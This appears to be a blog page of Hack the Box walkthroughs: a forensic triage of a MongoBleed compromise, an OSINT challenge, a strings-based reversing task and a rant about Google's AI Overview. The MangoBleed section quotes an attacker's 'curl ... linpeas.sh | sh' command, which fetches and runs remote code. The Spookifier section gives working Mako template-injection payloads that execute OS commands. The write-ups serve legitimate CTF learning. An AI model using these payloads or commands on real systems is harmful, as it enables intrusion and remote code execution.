Author: Pete

Capture the Flag

Hack the Box Walkthrough: MangoBleed

HTB MangoBleed LogoToday, I’m going to tackle a new Hack the Box Sherlock room that just came out called MangoBleed. You can find it here. The scenario is as follows:

You were contacted early this morning to handle a high-priority incident involving a suspected compromised server. The host, mongodbsync, is a secondary MongoDB server. According to the administrator, it’s maintained once a month, and they recently became aware of a vulnerability referred to as MongoBleed. As a precaution, the administrator has provided you with root-level access to facilitate your investigation.

You have already collected a triage acquisition from the server using UAC. Perform a rapid triage analysis of the collected artifacts to determine whether the system has been compromised, identify any attacker activity (initial access, persistence, privilege escalation, lateral movement, or data access/exfiltration), and summarize your findings with an initial incident assessment and recommended next steps.

In order to work the case, we have to download the attachment from the room. It is a 31MB (~95MB unzipped) password-protected zip file and as seems to always be the case for HTB Sherlocks, the password to unzip it is hacktheblue.

Task 1: What is the CVE ID designated to the MongoDB vulnerability explained in the scenario?

Answer 1: CVE-2025-14847

I just googled MongoBleed CVE and the answer was in the AI Overview

MongoBleed CVE

Task 2: What is the version of MongoDB installed on the server that the CVE exploited?

Answer 2: 8.0.16

For this one, Mongo puts version information inside the log. I did a head command on the log to look around and noted it. Here is what you’d want to do if you knew what you were doing going in and wanted to find it.

$ grep buildInfo ~/htb/MangoBleed/uac-mongodbsync-linux-triage/[root]/var/log/mongodb/mongod.log                                                                                                                         
{"t":{"$date":"2025-12-29T05:11:47.713+00:00"},"s":"I",  "c":"CONTROL",  "id":23403,   "ctx":"initandlisten","msg":"Build Info","attr":{"buildInfo":{"version":"8.0.16","gitVersion":"ba70b6a13fda907977110bf46e6c8137f5de48f6","openSSLVersion":"OpenSSL 3.0.13 30 Jan 2024","modules":[],"allocator":"tcmalloc-google","environment":{"distmod":"debian12","distarch":"x86_64","target_arch":"x86_64"}}}}
{"t":{"$date":"2025-12-29T05:16:58.104+00:00"},"s":"I",  "c":"CONTROL",  "id":23403,   "ctx":"initandlisten","msg":"Build Info","attr":{"buildInfo":{"version":"8.0.16","gitVersion":"ba70b6a13fda907977110bf46e6c8137f5de48f6","openSSLVersion":"OpenSSL 3.0.13 30 Jan 2024","modules":[],"allocator":"tcmalloc-google","environment":{"distmod":"debian12","distarch":"x86_64","target_arch":"x86_64"}}}}
{"t":{"$date":"2025-12-29T06:09:34.806+00:00"},"s":"I",  "c":"CONTROL",  "id":23403,   "ctx":"initandlisten","msg":"Build Info","attr":{"buildInfo":{"version":"8.0.16","gitVersion":"ba70b6a13fda907977110bf46e6c8137f5de48f6","openSSLVersion":"OpenSSL 3.0.13 30 Jan 2024","modules":[],"allocator":"tcmalloc-google","environment":{"distmod":"debian12","distarch":"x86_64","target_arch":"x86_64"}}}}

Task 3: Analyze the MongoDB logs to identify the attacker’s remote IP address used to exploit the CVE.

Answer 3: 65.0.76.43

For this one, there is a GitHub project called MongoBleed Detector. I downloaded and installed according to the instructions on the Readme. After doing so, here is the command that I ran. The -t was needed because the tool only goes back 3 days and this log file is older than that. The -p points us at the log file.

$ ~/htb/MangoBleed/mongobleed-detector/mongobleed-detector.sh --no-default-paths -t 20000 -p mongod.log
INFO: Analyzing 1 log file(s)...
INFO: Time window: 2025-12-23T00:22:07Z to now

????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
?                              MongoBleed (CVE-2025-14847) Detection Results                                       ?
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????

Analysis Parameters:
  Time Window:        20000 minutes
  Connection Thresh:  100
  Burst Rate Thresh:  400/min
  Metadata Rate:      0.10

Risk     SourceIP                                  ConnCount  MetaCount  DiscCount    MetaRate%    BurstRate/m FirstSeen (UTC)        LastSeen (UTC)        
-------- ---------------------------------------- ---------- ---------- ---------- ------------ -------------- ---------------------- ----------------------
HIGH     65.0.76.43                                    37630          0      37630        0.00%       30104.00 2025-12-29T05:25:52Z   2025-12-29T05:27:07Z  

???????????????????????????????????????????????????????????????????????????????????????????????????????????????????
Summary:
  HIGH:   1 source(s) - Likely exploitation detected

? IMPORTANT: If exploitation is confirmed, patching alone is insufficient.
  - Rotate all credentials that may have been exposed
  - Review accessed data for sensitive information disclosure
  - Check for lateral movement from affected systems
  - Preserve logs for forensic analysis

Task 4: Based on the MongoDB logs, determine the exact date and time the attacker’s exploitation activity began (the earliest confirmed malicious event)

Answer 4: 2025-12-29 05:25:52

Let’s grep the logs again using the attacker’s IP address from question 3. I’ll take the date and time from the first record up.

$ cat ~/htb/MangoBleed/uac-mongodbsync-linux-triage/\[root\]/var/log/mongodb/mongod.log | grep "65.0.76.43" | head
{"t":{"$date":"2025-12-29T05:25:52.743+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"65.0.76.43:35340","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"099e057e-11c1-46ed-b129-a158578d2014"}},"connectionId":1,"connectionCount":1}}
{"t":{"$date":"2025-12-29T05:25:52.744+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn1","msg":"Connection ended","attr":{"remote":"65.0.76.43:35340","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"099e057e-11c1-46ed-b129-a158578d2014"}},"connectionId":1,"connectionCount":0}}
{"t":{"$date":"2025-12-29T05:25:52.745+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"65.0.76.43:35348","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"de7eb8af-7ae8-4e03-bd86-433a12dd4de7"}},"connectionId":2,"connectionCount":1}}
{"t":{"$date":"2025-12-29T05:25:52.746+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn2","msg":"Connection ended","attr":{"remote":"65.0.76.43:35348","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"de7eb8af-7ae8-4e03-bd86-433a12dd4de7"}},"connectionId":2,"connectionCount":0}}
{"t":{"$date":"2025-12-29T05:25:52.747+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"65.0.76.43:35350","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"1ebcc10f-4bc3-45f3-b7c0-d2d48d3a1d74"}},"connectionId":3,"connectionCount":1}}
{"t":{"$date":"2025-12-29T05:25:52.747+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn3","msg":"Connection ended","attr":{"remote":"65.0.76.43:35350","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"1ebcc10f-4bc3-45f3-b7c0-d2d48d3a1d74"}},"connectionId":3,"connectionCount":0}}
{"t":{"$date":"2025-12-29T05:25:52.748+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"65.0.76.43:35354","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"4382ccb5-d3f3-4b72-8ff5-ac091028713c"}},"connectionId":4,"connectionCount":1}}
{"t":{"$date":"2025-12-29T05:25:52.749+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn4","msg":"Connection ended","attr":{"remote":"65.0.76.43:35354","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"4382ccb5-d3f3-4b72-8ff5-ac091028713c"}},"connectionId":4,"connectionCount":0}}
{"t":{"$date":"2025-12-29T05:25:52.749+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"65.0.76.43:35358","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"25c2f19a-70ef-46d5-8aac-88451653b7ac"}},"connectionId":5,"connectionCount":1}}
{"t":{"$date":"2025-12-29T05:25:52.750+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn5","msg":"Connection ended","attr":{"remote":"65.0.76.43:35358","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"25c2f19a-70ef-46d5-8aac-88451653b7ac"}},"connectionId":5,"connectionCount":0}}
   

Task 5: Using the MongoDB logs, calculate the total number of malicious connections initiated by the attacker.

Answer 5: 75260

Looking back up at the output from Task 3 again, we see ConnCount:37630. I tried that and it wasn’t the answer. So I added the DiscCount of 37630 to it (37630+37630=75260) and that was the answer. I thought the tool was showing Connections and Disconnections (which I believe it is by parsing the log file for that IP and “Connection ended” vs that IP and “Connection accepted”), so it is possible that this answer is actually wrong or the question is poorly worded. Regardless, 75260 is the answer.

Task 6: The attacker gained remote access after a series of brute-force attempts. The attack likely exposed sensitive information, which enabled them to gain remote access. Based on the logs, when did the attacker successfully gain interactive hands-on remote access?

Answer 6: 2025-12-29 05:40:03

Let’s look at the auth log for this one. I want connection attempts that were from that IP and were Accepted. We get 2 results and the second one is the answer that they are looking for.

$ cat ~/htb/MangoBleed/uac-mongodbsync-linux-triage/\[root\]/var/log/auth.log | grep "from 65.0.76.43" | grep Accepted      
2025-12-29T05:39:24.276756+00:00 ip-172-31-38-170 sshd[39825]: Accepted keyboard-interactive/pam for mongoadmin from 65.0.76.43 port 55056 ssh2
2025-12-29T05:40:03.475659+00:00 ip-172-31-38-170 sshd[39962]: Accepted keyboard-interactive/pam for mongoadmin from 65.0.76.43 port 46062 ssh2

Task 7: Identify the exact command line the attacker used to execute an in-memory script as part of their privilege-escalation attempt.

Answer 7: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

The attacker got access to the box as the user mongoadmin. That means that commands that they ran would be stored in the .bash_history file in the user’s directory. When I cat it out, it isn’t that long, so I’ll just include it all in its entirety here and we see the answer.

$ cd ~/htb/MangoBleed/uac-mongodbsync-linux-triage/\[root\]/home/mongoadmin 
                                                                                                                                                         
$ ls -la
total 28
drwxrwxr-x 2 kali kali 4096 Jan  5 11:27 .
drwxrwxr-x 4 kali kali 4096 Jan  5 11:27 ..
-rwxrwxrwx 1 kali kali  250 Dec 29 00:48 .bash_history
-rwxrwxrwx 1 kali kali  220 Dec 29 00:17 .bash_logout
-rwxrwxrwx 1 kali kali 3771 Dec 29 00:17 .bashrc
-rwxrwxrwx 1 kali kali  807 Dec 29 00:17 .profile
-rwxrwxrwx 1 kali kali    7 Dec 29 00:46 .python_history
                                                                                                                                                         
$ cat .bash_history 
ls -la
whoami
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
cd /data
cd ~
ls -al
cd /
ls
cd /var/lib/mongodb/
ls -la
cd ../
which zip
apt install zip
zip
cd mongodb/
python3
python3 -m http.server 6969
exit

Task 8: The attacker was interested in a specific directory and also opened a Python web server, likely for exfiltration purposes. Which directory was the target?

Answer 8: /var/lib/mongodb

Same .bash_history file above. You can see that before the python web server is started, the attacker navigates to /var/lib/mongodb.

And that’s it!

MangoBleed Pwned

Rant

Google’s AI Overview in Search is TRASH

I was watching Kevin Hart’s latest comedy special on Netflix and during the special, he goes IN on Michael Jordan throughout. It sounds like they have an actual problem. So, I got on my phone and searched their two names and this is what I got.

Google's Horrible AI Overview in response to my query about Kevin Hart and Michael Jordan

If I just stopped there, I wouldn’t have my answer. However, if I scroll down, there are multiple links to what I want. This is exactly what I intended with my search.

Google's Helpful Search Results Right Below

So, you might say to yourself that I’m bad at searching. I’d suggest that I’m not bad at searching at all if the actual Google search results gave me exactly what I wanted. I wasn’t using Google like an LLM, I was putting in keywords to get answers. If I ask LLM-like questions every time, I rarely get the answers that I’m looking for because the “Googlebox” isn’t a full-blown LLM.

My big problem is that this happens over and over again. I searched for information about a character in a comic strip and I was told that there was no character by that name in that comic strip. But then it “helpfully” listed the names of the characters (including the one I asked about). This rush to “AI-ify” everything even at the expense of quality is infuriating. Not to mention all of the concerns about what using it in all of these (effectively) meaningless contexts does to the environment.

That’s it. Just ranting for kids to stay off of my lawn, I guess.

Capture the Flag

Hack the Box Walkthrough: The Puppet Master

An image representing a generic puppet masterThis time, we’re going to be back in a Hack the Box challenge called The Puppet Master. Its description is “An anonymous source has shared a photograph of an unidentified military armored vehicle during field operations. Your mission is to conduct a comprehensive OSINT analysis to identify this vehicle and its specifications.”

The first thing you have to do is click “Start Instance” on the HTB page for this challenge. It will spin up a container and you’ll get an IP and Port to connect to. When you get there, you will get a website with these pages.

First, we come to the Dashboard page. This explains the Scenario, the Objective, and some information about OSINT Investigation as a whole.

The Pupppet Master Dashboard Page

Next, we come to the Evidence page. This has the image for us to investigate and some initial observations about that image.

The Pupppet Master Evidence Page

Lastly, we have the Challenge page. This is the page with the list of questions that we will need to answer.

The Pupppet Master Challenge Page

Now that we’ve got the lay of the land, let’s tackle the questions.

Q1. What type of military vehicle is shown in the image? Look at the vehicle’s characteristics: it’s wheeled, armored, and appears to be a personnel carrier. Research similar vehicles online.

I went to tineye.com and uploaded the image. I purposely didn’t select any pages that looked like they were related to solving this challenge. I went to this blog: https://defense-studies.blogspot.com/2023/05/ and found an article mentioning that 18 Bushmaster PMVs were delivered to the New Zealand Army.

A1. Bushmaster

Q2. Who is the manufacturer/designer of this vehicle? Research the company that designed and produces this specific armored vehicle.

I googled it and was pointed to the Wikipedia article for it and got the answer https://en.wikipedia.org/wiki/Bushmaster_Protected_Mobility_Vehicle

A2. Thales Australia

Q3. When did this vehicle first enter military service? Research the year this specific vehicle type was first deployed operationally.

Same wikipedia page

A3.1997

Q4. What is the country of origin for this vehicle? Research where this specific vehicle was originally designed and manufactured.

Same page, though the name of the manufacturer is also a bit of a giveaway

A4. Australia

Q5. What is the passenger capacity of this vehicle? Research how many passengers plus crew it can carry (format: X passengers and Y driver).

Wikipedia page again.

A5. 9 passengers and 1 driver

After you finish that last question, you submit for final analysis and get the flag to submit back at the Hack the Box Challenge page. That’s it. Very Easy as the chaps promised. The biggest trick here was knowing how to use TinEye or Google Reverse Image Search and then to investigate from there.

The Puppetmaster Pwned

Capture the Flag

Hack The Box Walkthrough: SpookyPass

A ghost holding a ticket to get into a partyToday’s challenge is a very easy challenge from Hack the Box. You can find it here. There is no machine to start up, you just download the required files for the challenge. You’ll get a .zip file and the password they provide you is hackthebox.

(kali@vici)-[~/htb/spookypass]
$ unzip SpookyPass.zip                                                      
Archive:  SpookyPass.zip
   creating: rev_spookypass/
[SpookyPass.zip] rev_spookypass/pass password: 
  inflating: rev_spookypass/pass    

After unzipping it, we see that it unzipped a directory called rev_spookypass and that directory has a single file in it called pass. When we run the file command on pass, we see that is an executable and that it is not stripped.

(kali@vici)-[~/htb/spookypass]
$ ls
rev_spookypass  SpookyPass.zip
                                                                                                                                                        
(kali@vici)-[~/htb/spookypass]
$ cd rev_spookypass && ls
pass

(kali@vici)-[~/htb/spookypass/rev_spookypass]
$ file pass     
pass: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3008217772cc2426c643d69b80a96c715490dd91, for GNU/Linux 4.4.0, not stripped

Since this is Hack the Box, we can be a little less cautious. However, if you find an executable in the wild, don’t just run it. The better play is to get it into a sandbox and run it there so that it can’t do any damage to your machine or VM on the chance that it is malicious. Warnings aside, here we go..

(kali@vici)-[~/htb/spookypass/rev_spookypass]
$ ./pass                                         
Welcome to the SPOOKIEST party of the year.
Before we let you in, you'll need to give us the password: hackthebox
You're not a real ghost; clear off!

Okay. So, we need a password. The file command said that this binary executable is not stripped. What does that even mean? That means that the binary still contains its symbol table and possibly debugging information. The result is that:

  • Function names, variable names, and other symbols are still embedded inside.
  • It’s larger in size than a stripped binary.
  • It’s easier to debug or reverse engineer (e.g., using gdb, objdump, or strings).

Okay, so now we are talking about some good stuff. Since this wants a password and it is checking, it is possible that the password is inside, unobfuscated, and accessible through some simple methods. I’m going to try strings first. What is strings? This description is from the man pages for strings.

DESCRIPTION
For each file given, GNU strings prints the printable character sequences that are at 
least 4 characters long (or the number given with the options below) and are followed 
by an unprintable character.

Depending upon how the strings program was configured it will default to either 
displaying all the printable sequences that it can find in each file, or only those 
sequences that are in loadable, initialized data sections.  If the file type is 
unrecognizable, or if strings is reading from stdin then it will always display all of 
the printable sequences that it can find.

For backwards compatibility any file that occurs after a command-line option of just - 
will also be scanned in full, regardless of the presence of any -d option.

strings is mainly useful for determining the contents of non-text files.

What does that get us?

(kali@vici)-[~/htb/spookypass/rev_spookypass]
$ strings pass                                          
/lib64/ld-linux-x86-64.so.2
fgets
stdin
puts
__stack_chk_fail
__libc_start_main
__cxa_finalize
strchr
printf
strcmp
libc.so.6
GLIBC_2.4
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u3UH
Welcome to the 
[1;3mSPOOKIEST
[0m party of the year.
Before we let you in, you'll need to give us the password: 
s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5
Welcome inside!
You're not a real ghost; clear off!
;*3$"
GCC: (GNU) 14.2.1 20240805
GCC: (GNU) 14.2.1 20240910
main.c
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
stdin@GLIBC_2.2.5
_edata
_fini
__stack_chk_fail@GLIBC_2.4
strchr@GLIBC_2.2.5
printf@GLIBC_2.2.5
parts
fgets@GLIBC_2.2.5
__data_start
strcmp@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
_end
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.got.plt
.data
.bss
.comment

Anything look good in there? Absolutely! Between the string requesting the password and the string welcoming you in is this gem, “s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5”. Let’s see if it works.

(kali@vici)-[~/htb/spookypass/rev_spookypass]
$ ./pass 
Welcome to the SPOOKIEST party of the year.
Before we let you in, you'll need to give us the password: s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5
Welcome inside!
HTB{un0bfu5c4t3d_5tr1ng5}   

And there we go. If we put that flag in over at Hack the Box, we win.

Submitting the flag at HTB

SpookyPass Pwned Success Message

There we go! Very Easy, as promised. However, we did get some exposure to learning about unknown files and some very basic skills in prodding those files to see what might be hidden within them. Any questions, let me know in the comments!

Capture the Flag

Hack the Box Walkthrough: Spookifier

Diet Coke Ghost to represent the Spookifier roomToday, we’re going to take on a Hack the Box challenge called Spookifier. This is a free, retired challenge that you can find here. Unlike the other HackTheBox stuff that I’ve been doing, this won’t be a “Sherlock” / defensive / Blue Team exercise, but rather more of an offensive security exercise where we will actually attempt to exploit an application.

Here’s their description of the challenge, “There’s a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?”

So, there is a machine we have to start and also a zip to download. The password for the zip is hackthebox. Inside, we find the code for the application that is running on the server, so that means that this is a “white box” testing scenario. Instead of just probing the machine to try to guess what it is doing, we can see the source code and take our shot at it. Once you unzip the file, you’ll have a structure like this (shown in Visual Studio Code)

Spookifier Zip File Contents

As I poked around, it looks like this is a pretty simple Python web application that takes what you enter and then displays it with some weird, spooky fonts. What I notice right away (and you can see it in my screenshot above) is that it uses the Mako templating engine, as those imports are present in main.py and util.py. When you’re working a CTF and you know you can enter data that will be processed and you have server side templates, you want to think Server-Side Template Injection (SSTI) pretty early in the things you try. Let’s do that first since this is a challenge marked “Very Easy”, so there aren’t usually rabbit holes at this level.

I started the instance and was given this IP:PORT – 94.237.60.55:57424. After I connected my Kali machine to the HTB VPN, I navigated to the URL and found this

Spookifier Home Page

The very first thing for me is to see how it is supposed to work, the “happy path” if you will. So, I entered Pete and this is what I got. This screenshot may be a little small, but my text I entered also ended up in the URL as http://94.237.60.55:57424/?text=Pete. That’s something else to note if the text input ever gets funny about what we want to enter, we can attack the URL, if necessary.

Spookifier Name Happy Path

So, if we consult PayloadsAllTheThings, we can find how to confirm this is the templating engine in use by looking at the Inject Template Syntax section. The chart there is helpful if you think you have SSTI but don’t already know the engine to slowly work your way through. We are already 99.99% sure, but I’m going to do an initial, simple, first-level check of ${7*7} just to see if we have SSTI. We see 49, so we know we have SSTI.

Spookifier SSTI Check One

Again referencing PayloadsAllTheThings, the final check to confirm Mako is this: ${"z".join("ab")}. If it returns azb, we’re good to go with Mako. You can see here that that was confirmed.

Spookifier SSTI Mako Confirm

Okay, we have SSTI, we have Mako, how can we get command execution? Referencing this site, let’s take a shot at what they suggest.


${self.module.cache.util.os.system("id")}

That didn’t work for me. It returned 0 at the bottom. I’m guessing it is because it executed a command (helpful for reverse shell?), but didn’t return output to the screen. But right above it also says we can do something like this also.


<%
import os
x=os.popen('id').read()
%>
${x}

That popen (process open) and read look tasty, so once we are at os, we want to try that tactic, so let me work that a little differently.


${self.module.cache.util.os.popen("id").read()}

And if I put that, I get this. Successful code execution.
Spookifier SSTI Code Execution

So, when I run this command, I can find out what directory we’re in.


${self.module.cache.util.os.popen("pwd").read()}

That gives us /app. When I run passing in ls, I get


application run.py

If we look at the code we were given in the zip file, the Flag is one level up from where we are. Let’s read it by passing in this command to read a file called flag.txt one level up from our folder.


${self.module.cache.util.os.popen("cat ./../flag.txt").read()}

And that gives us the flag and completes the challenge!

Spookifier Flag

Spookifier Pwned